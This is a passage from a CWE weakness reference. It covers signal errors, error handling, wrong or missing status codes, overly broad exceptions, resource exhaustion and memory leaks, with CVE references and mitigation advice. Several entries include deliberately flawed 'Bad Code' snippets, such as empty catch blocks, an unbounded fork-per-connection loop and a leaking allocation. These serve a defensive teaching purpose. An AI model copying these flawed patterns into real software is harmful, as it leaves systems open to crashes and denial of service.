The resource in question, or other resources (through the corrupted one) may be changed in undesirable ways by a malicious user.

Accountability

If a file or other resource is written in this method, as opposed to a valid way, logging of the activity may not occur.

Non-Repudiation

In some cases it may be possible to delete files that a malicious user might not otherwise have access to -- such as log files.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	**699**	382
PeerOf		367	Time-of-check Time-of-use (TOCTOU) Race Condition	1000	392
PeerOf		486	Comparison of Classes by Name	1000	510
PeerOf		610	Externally Controlled Reference to a Resource in Another Sphere	1000	597
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	**1000**	708
RequiredBy		*61*	*UNIX Symbolic Link (Symlink) Following*	*1000*	*56*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Symbolic name not mapping to correct object

CWE-387: Signal Errors

Category ID: 387 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the improper handling of signals.

Applicable Platforms

Languages

- C
- C++

Observed Examples

Reference	Description
CVE-1999-1224	SIGABRT (abort) signal not properly handled, causing core dump.
CVE-1999-1326	Interruption of operation causes signal to be handled incorrectly, leading to crash.
CVE-1999-1441	Kernel does not prevent users from sending SIGIO signal, which causes crash in applications that do not handle it. Overlaps privileges.
CVE-2000-0747	Script sends wrong signal to a process and kills it.
CVE-2001-1180	Shared signal handlers not cleared when executing a process. Overlaps initialization error.
CVE-2002-0839	SIGUSR1 can be sent as root from non-root process.
CVE-2002-2039	unhandled SIGSERV signal allows core dump
CVE-2004-1014	Remote attackers cause a crash using early connection termination, which generates SIGPIPE signal.
CVE-2004-2069	Privileged process does not properly signal unprivileged process after session termination, leading to connection consumption.
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-re-entrant functions like malloc/free. Possibly signal handler race condition?
CVE-2005-0893	Certain signals implemented with unsafe library calls.
CVE-2005-2377	Library does not handle a SIGPIPE signal when a server becomes available during a search query. Overlaps unchecked error condition?

Other Notes

Signal Handler Race Conditions are covered elsewhere.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616
ParentOf	*Weakness Base*	*364*	*Signal Handler Race Condition*	*699*	*388*

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Signal Errors

Maintenance Notes

Several sub-categories could exist, but this needs more study. Some sub-categories might be unhandled signals, untrusted signals, and sending the wrong signals.

CWE-388: Error Handling

Category ID: 388 *(Category)* **Status:** Draft

Description

Summary

This category includes weaknesses that occur when an application does not properly handle errors that occur during processing.

Extended Description

An attacker may discover this type of error, as forcing these errors can occur with a variety of corrupt input.

Common Consequences

Generally, the consequences of improper error handling are the disclosure of the internal workings of the application to the attacker, providing details to use in further attacks. Web applications that do not properly handle error conditions frequently generate error messages such as stack traces, detailed diagnostics, and other inner details of the application.

Demonstrative Examples

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Java Example: *Bad Code*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  try {
    ...
  }
  catch (ApplicationSpecificException ase) {
    logger.error("Caught: " + ase.toString());
  }
}
```

Potential Mitigations

Use a standard exception handling mechanism to be sure that your application properly handles all types of processing errors. All error messages sent to the user should contain as little detail as necessary to explain what happened.

If the error was caused by unexpected and likely malicious input, it may be appropriate to send the user no error message other than a simple "could not process the request" response.

The details of the error and its cause should be recorded in a detailed diagnostic log for later analysis. Do not allow the application to throw errors up to the application container, generally the web application server.

Be sure that the container is properly configured to handle errors if you choose to let any errors propagate up to it.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	**699**	13
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ParentOf	C	*389*	*Error Conditions, Return Values, Status Codes*	***699***	*414*
ParentOf	Wa	*391*	*Unchecked Error Condition*	***700***	*417*
ParentOf	Wa	*395*	*Use of NullPointerException Catch to Detect NULL Pointer Dereference*	***700***	*420*
ParentOf	Wa	*396*	*Declaration of Catch for Generic Exception*	***700***	*421*
ParentOf	Wa	*397*	*Declaration of Throws for Generic Exception*	***700***	*422*
ParentOf	Wa	*544*	*Failure to Use a Standardized Error Handling Mechanism*	***699***	*550*
ParentOf	Wa	*600*	*Failure to Catch All Exceptions in Servlet*	***699***	*588*
PeerOf	Wa	*619*	*Dangling Database Cursor ('Cursor Injection')*	*1000*	*604*
ParentOf	Wc	*636*	*Not Failing Securely ('Failing Open')*	*699*	*617*
MemberOf	V	*700*	*Seven Pernicious Kingdoms*	***700***	*689*
ParentOf	Wc	*756*	*Missing Custom Error Page*	***699***	*734*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
28	Fuzzing	

CWE-389: Error Conditions, Return Values, Status Codes

Category ID: 389 *(Category)* **Status:** Incomplete

Description

Summary

If a function in a product does not generate the correct return/status codes, or if the product does not handle all possible return/status codes that could be generated by a function, then security issues may result.

Extended Description

This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

Applicable Platforms

Languages

- All

Other Notes

This category is often primary to a variety of other weaknesses.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	388	Error Handling	**699**	413
ParentOf	We	*248*	*Uncaught Exception*	*699*	*269*
ParentOf	We	*252*	*Unchecked Return Value*	*699*	*274*
ParentOf	We	*253*	*Incorrect Check of Function Return Value*	*699*	*278*
ParentOf	We	*390*	*Detection of Error Condition Without Action*	***699***	*415*
ParentOf	We	*391*	*Unchecked Error Condition*	***699***	*417*
ParentOf	We	*392*	*Failure to Report Error in Status Code*	***699***	*418*
ParentOf	We	*393*	*Return of Wrong Status Code*	***699***	*419*
ParentOf	We	*394*	*Unexpected Status Code or Return Value*	***699***	*420*
ParentOf	We	*395*	*Use of NullPointerException Catch to Detect NULL Pointer Dereference*	***699***	*420*
ParentOf	We	*396*	*Declaration of Catch for Generic Exception*	***699***	*421*
ParentOf	We	*397*	*Declaration of Throws for Generic Exception*	***699***	*422*
ParentOf	We	*584*	*Return Inside Finally Block*	***699***	*577*

Research Gaps

Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Error Conditions, Return Values, Status Codes

CWE-390: Detection of Error Condition Without Action

Weakness ID: 390 *(Weakness Class)* **Status:** Draft

Description

Summary

The software detects a specific error, but takes no actions to handle the error.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Likelihood of Exploit

Medium

Demonstrative Examples

C Example:

Bad Code

```
foo=malloc(sizeof(char); //the next line checks to see if malloc failed
if (foo==0) {
  //We do nothing so we just ignore the error.
}
```

C++ Example:

Bad Code

```
while (DoSomething()) {
  try {
    /* perform main loop here */
  }
  catch (...) {
    /* Bug: insert code to handle this later */
  }
}
```

Java Example:

Bad Code

```
while (DoSomething()) {
  try {
    /* perform main loop here */
  }
  catch (Exception e) {
    /* do nothing, but catch so it'll compile... */
  }
}
```

Potential Mitigations

Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	389	Error Conditions, Return Values, Status Codes	**699**	414
CanPrecede	Wb	401	Failure to Release Memory Before Removing Last Reference ('Memory Leak')	1000	427
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ChildOf	Wc	755	Improper Handling of Exceptional Conditions	**1000**	734
CanAlsoBe	Wv	*81*	*Improper Sanitization of Script in an Error Message Web Page*	*1000*	*91*
PeerOf	Wb	*600*	*Failure to Catch All Exceptions in Servlet*	*1000*	*588*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Improper error handling

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
7	Blind SQL Injection	
66	SQL Injection	
83	XPath Injection	

CWE-391: Unchecked Error Condition

Weakness ID: 391 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Likelihood of Exploit

Medium

Demonstrative Examples

The following code excerpt ignores a rarely-thrown exception from doExchange().

Bad Code

```
try {
  doExchange();
}
catch (RareException e) {
  // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

Potential Mitigations

Requirements Specification: The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Requirements Specification: A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Other Notes

Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack, the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend their assumptions well past the end of their lunch break. Two dubious assumptions that are easy to spot in code are "this method call can never fail" and "it doesn't matter if this call fails". When a programmer ignores an exception, they implicitly state that they are operating under one of these assumptions.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	388	Error Handling	**700**	413
ChildOf	C	389	Error Conditions, Return Values, Status Codes	**699**	414
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	**1000**	706
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
ChildOf	C	746	CERT C Secure Coding Section 12 - Error Handling (ERR)	734	730

Nature	Type	ID	Name	V	Page
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unchecked Return Value
7 Pernicious Kingdoms			Empty Catch Block
CLASP			Uncaught exception
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy
CERT C Secure Coding	FIO04-C		Detect and handle input and output errors
CERT C Secure Coding	FIO33-C		Detect and handle input output errors resulting in undefined behavior

White Box Definitions

A weakness where code path has:

1. start statement that changes a state of a system resource
2. end statement that accesses the system resource, where the changed and the assumed state of the system resource are not equal.

Maintenance Notes

This entry needs significant modification. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue.

CWE-392: Failure to Report Error in Status Code

Weakness ID: 392 *(Weakness Base)* **Status:** Draft

Description

Summary

The software encounters an error but does not return a status code or return value to indicate that an error has occurred.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

Java Example: *Bad Code*

```
try {
  // Something that may throw an exception.
  ...
} catch (Throwable t) {
  logger.error("Caught: " + t.toString());
  return;
}
```

Observed Examples

Reference	Description
CVE-2002-0499	Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory.
CVE-2002-1446	Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages.
CVE-2004-0063	Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number.

Reference	Description
CVE-2005-2459	Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference.

Other Notes

May be primary or resultant.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	389	Error Conditions, Return Values, Status Codes	**699**	414
ChildOf	We	684	Failure to Provide Specified Functionality	**1000**	677
ChildOf	We	703	Failure to Handle Exceptional Conditions	1000	706

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Error Status Code

CWE-393: Return of Wrong Status Code

Weakness ID: 393 *(Weakness Base)* **Status:** Draft

Description

Summary

A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

Extended Description

This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

Java Example: *Bad Code*

```
try {
  // something that might throw IOException
  ...
} catch (IOException ioe) {
  response.sendError(SC_NOT_FOUND);
}
```

Observed Examples

Reference	Description
CVE-2001-1509	Hardware-specific implementation of system call causes incorrect results from geteuid.
CVE-2001-1559	System call returns wrong value, leading to a resultant NULL dereference.
CVE-2003-1132	DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible.

Other Notes

This can be primary or resultant, but it is probably most often primary to other issues.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	389	Error Conditions, Return Values, Status Codes	**699**	414
ChildOf	We	684	Failure to Provide Specified Functionality	**1000**	677

Nature	Type	ID	Name	V	Page
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	1000	706

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Wrong Status Code

Maintenance Notes

This probably overlaps various categories, especially those related to error handling.

CWE-394: Unexpected Status Code or Return Value

Weakness ID: 394 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the software.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0536	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.
CVE-2001-0910	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.
CVE-2002-2124	Unchecked return code from recv() leads to infinite loop.
CVE-2004-1395	Certain packets (zero byte and other lengths) cause a recvfrom call to produce an unexpected return code that causes a server's listening loop to exit.
CVE-2004-2371	Game server doesn't check return values for functions that handle text strings and associated size values.
CVE-2005-1267	Resultant infinite loop when function call returns -1 value.
CVE-2005-1858	Memory not properly cleared when read() function call returns fewer bytes than expected.
CVE-2005-2553	Kernel function does not properly handle when a null is returned by a function call, causing it to call another function that it shouldn't.

Other Notes

Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	389	Error Conditions, Return Values, Status Codes	**699**	414
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ChildOf	Wc	754	Improper Check for Exceptional Conditions	**1000**	734

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unexpected Status Code or Return Value

CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

Weakness ID: 395 *(Weakness Base)* **Status:** Draft

Description

Summary

Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following code mistakenly catches a NullPointerException.

Bad Code

```
try {
  mysteryMethod();
} catch (NullPointerException npe) {
}
```

Potential Mitigations

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

Other Notes

Programmers typically catch NullPointerException under three circumstances: 1. The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem. 2. The program explicitly throws a NullPointerException to signal an error condition. 3. The code is part of a test harness that supplies unexpected input to the classes under test. Of these three circumstances, only the last is acceptable.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	388	Error Handling	**700**	413
ChildOf	C	389	Error Conditions, Return Values, Status Codes	**699**	414
ChildOf	Wc	691	Insufficient Control Flow Management	**1000**	682
ChildOf	Wc	755	Improper Handling of Exceptional Conditions	1000	734

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Catching NullPointerException

CWE-396: Declaration of Catch for Generic Exception

Weakness ID: 396 *(Weakness Base)* **Status:** Draft

Description

Summary

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C++
- Java
- .NET

Demonstrative Examples

The following code excerpt handles three types of exceptions in an identical fashion.

Good Code

```
try {
```

```
  doExchange();
}
catch (IOException e) {
  logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {
  logger.error("doExchange failed", e);
}
catch (SQLException e) {
  logger.error("doExchange failed", e);
}
```

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

Bad Code

```
try {
  doExchange();
}
catch (Exception e) {
  logger.error("doExchange failed", e);
}
```

However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.

Other Notes

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	221	Information Loss or Omission	1000	250
ChildOf	Category	388	Error Handling	**700**	413
ChildOf	Category	389	Error Conditions, Return Values, Status Codes	**699**	414
ChildOf	Weakness	705	Incorrect Control Flow Scoping	**1000**	708
ChildOf	Weakness	755	Improper Handling of Exceptional Conditions	1000	734

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Overly-Broad Catch Block

CWE-397: Declaration of Throws for Generic Exception

Weakness ID: 397 *(Weakness Base)* **Status:** Draft

Description

Summary

Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C++

- Java
- .NET

Demonstrative Examples

The following method throws three types of exceptions.

Good Code

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
  ...
}
```

While it might seem tidier to write

Bad Code

```
public void doExchange() throws Exception {
  ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Other Notes

Declaring a method to throw Exception or Throwable makes it difficult for callers to do good error handling and error recovery. Java's exception mechanism is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	221	Information Loss or Omission	1000	250
ChildOf	C	388	Error Handling	**700**	413
ChildOf	C	389	Error Conditions, Return Values, Status Codes	**699**	414
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	1000	706
ChildOf	Wc	705	Incorrect Control Flow Scoping	**1000**	708

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Overly-Broad Throws Declaration

CWE-398: Indicator of Poor Code Quality

Weakness ID: 398 *(Weakness Class)* **Status:** Draft

Description

Summary

The code has features that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained.

Extended Description

Programs are more likely to be secure when good development practices are followed. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.

Time of Introduction

- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	**699**	13
ChildOf	Wc	710	Coding Standards Violation	**1000**	711
ParentOf	Ww	*107*	*Struts: Unused Validation Form*	***1000***	*125*
ParentOf	Ww	*110*	*Struts: Validator Without Form Field*	***1000***	*127*
ParentOf	C	*399*	*Resource Management Errors*	***699***	*424*

Nature	Type	ID	Name	V	Page
ParentOf	We	401	Failure to Release Memory Before Removing Last Reference ('Memory Leak')	**700**	427
ParentOf	We	404	Improper Resource Shutdown or Release	699 **700**	431
ParentOf	Wv	415	Double Free	**700**	442
ParentOf	We	416	Use After Free	**700**	445
ParentOf	Wv	457	Use of Uninitialized Variable	**700**	478
ParentOf	We	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1000	490
ParentOf	We	474	Use of Function with Inconsistent Implementations	**699** **700** **1000**	496
ParentOf	We	475	Undefined Behavior for Input to API	**699** **700**	497
ParentOf	We	476	NULL Pointer Dereference	**699** **700** **1000**	497
ParentOf	We	477	Use of Obsolete Functions	**699** **700** **1000**	499
ParentOf	Wv	478	Missing Default Case in Switch Statement	**699**	501
ParentOf	Wv	479	Unsafe Function Call from a Signal Handler	**699**	502
ParentOf	Wv	483	Incorrect Block Delimitation	**699**	506
ParentOf	We	484	Omitted Break Statement in Switch	**699** 1000	507
ParentOf	Wv	546	Suspicious Comment	**699** **1000**	551
ParentOf	Wv	547	Use of Hard-coded, Security-relevant Constants	**699** **1000**	552
ParentOf	Wv	561	Dead Code	**699** **1000**	560
ParentOf	We	562	Return of Stack Variable Address	**699** 1000	562
ParentOf	Wv	563	Unused Variable	**699** **1000**	562
ParentOf	C	569	Expression Issues	**699**	567
ParentOf	Wv	585	Empty Synchronized Block	**699** **1000**	577
ParentOf	Wv	586	Explicit Call to Finalize()	**699**	578
ParentOf	We	606	Unchecked Input for Loop Condition	1000	594
ParentOf	Wv	617	Reachable Assertion	**699**	603
ParentOf	We	676	Use of Potentially Dangerous Function	**699** **1000**	663
MemberOf	V	700	Seven Pernicious Kingdoms	**700**	689

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Code Quality

CWE-399: Resource Management Errors

Category ID: 399 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper management of system resources.

Applicable Platforms

Languages

- All

Other Notes

Resource management errors can lead to consumption, exhaustion, etc.

Often a resultant vulnerability

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	398	Indicator of Poor Code Quality	**699**	423
ParentOf	WE	*400*	*Uncontrolled Resource Consumption ('Resource Exhaustion')*	***699***	*425*
ParentOf	WE	*401*	*Failure to Release Memory Before Removing Last Reference ('Memory Leak')*	***699***	*427*
ParentOf	WC	*402*	*Transmission of Private Resources into a New Sphere ('Resource Leak')*	***699***	*430*
ParentOf	WE	*404*	*Improper Resource Shutdown or Release*	***699***	*431*
ParentOf	WC	*405*	*Asymmetric Resource Consumption (Amplification)*	***699***	*435*
ParentOf	WE	*410*	*Insufficient Resource Pool*	***699***	*438*
ParentOf	C	*411*	*Resource Locking Problems*	***699***	*440*
ParentOf	WW	*415*	*Double Free*	***699***	*442*
ParentOf	WE	*416*	*Use After Free*	***699***	*445*
ParentOf	C	*417*	*Channel and Path Errors*	*699*	*447*
ParentOf	WW	*568*	*finalize() Method Without super.finalize()*	***699***	*567*
ParentOf	WW	*590*	*Free of Memory not on the Heap*	***699***	*581*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*
ParentOf	WW	*761*	*Free of Pointer not at Start of Buffer*	***699***	
ParentOf	WW	*762*	*Mismatched Memory Management Routines*	***699***	
ParentOf	WE	*763*	*Release of Invalid Pointer or Reference*	***699***	

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource Management Errors

CWE-400: Uncontrolled Resource Consumption (aka 'Resource Exhaustion')

Weakness ID: 400 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not properly restrict the size or amount of resources that are requested by an actor, which can be used to consume more resources than intended.

Extended Description

Limited resources include memory, file system storage, database connection pool entries, or CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the software, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.

Resource exhaustion problems have at least two common causes:

(1) Error conditions and other exceptional circumstances

(2) Confusion over which part of the program is responsible for releasing the resource

Time of Introduction

- Operation
- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

The most common result of resource exhaustion is denial of service.

Access Control

In some cases it may be possible to force a system to "fail open" in the event of resource exhaustion.

Likelihood of Exploit

Very High

Demonstrative Examples

Java Example:

```
class Worker implements Executor {
  ...
  public void execute(Runnable r) {
    try {
      ...
    }
    catch (InterruptedException ie) {
      // postpone response
      Thread.currentThread().interrupt();
    }
  }
  public Worker(Channel ch, int nworkers) {
    ...
  }
  protected void activate() {
    Runnable loop = new Runnable() {
      public void run() {
        try {
          for (;;) {
            Runnable r = ... r.run();
          }
        }
        catch (InterruptedException ie) {
          ...
        }
      }
    };
    new Thread(loop).start();
  }
```

C/C++ Example:

```
int main(int argc, char *argv[]) {
  sock=socket(AF_INET, SOCK_STREAM, 0);
  while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
  }
```

There are no limits to runnables/forks. Potentially an attacker could cause resource problems very quickly.

Potential Mitigations

Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

Implementation

Fail safely when a resource exhaustion occurs.

Other Notes

Resource exhaustion issues are generally understood but are far more difficult to successfully prevent. Taking advantage of various entry points, an attacker could craft a wide variety of requests that would cause the site to consume resources. Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request. Prevention of these attacks requires either that the target system: - either recognizes the attack and denies that user further access for a given amount of time; - or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, he may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker. The final concern that must be discussed about issues of resource exhaustion is that of systems which "fail open." This means that in the event of resource consumption, the system fails in such a way that the state of the system -- and possibly the security functionality of the system -- is compromised. A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	399	Resource Management Errors	**699**	424
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ChildOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
CanFollow	We	*410*	*Insufficient Resource Pool*	*699 1000*	*438*
ParentOf	C	*769*	*File Descriptor Exhaustion*	***699***	
ParentOf	We	*770*	*Allocation of Resources Without Limits or Throttling*	*1000*	
ParentOf	We	*771*	*Missing Reference to Active Allocated Resource*	*1000*	
ParentOf	We	*772*	*Missing Release of Resource after Effective Lifetime*	*1000*	

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Resource exhaustion (file descriptor, disk space, sockets, ...)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
2	Inducing Account Lockout
82	Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))

CWE-401: Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')

Weakness ID: 401 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

Extended Description

This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.

Terminology Notes

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following C function leaks a block of allocated memory if the call to read() fails to return the expected number of bytes:

C Example: *Bad Code*

```
char* getBlock(int fd) {
  char* buf = (char*) malloc(BLOCK_SIZE);
  if (!buf) {
    return NULL;
  }
  if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
    return NULL;
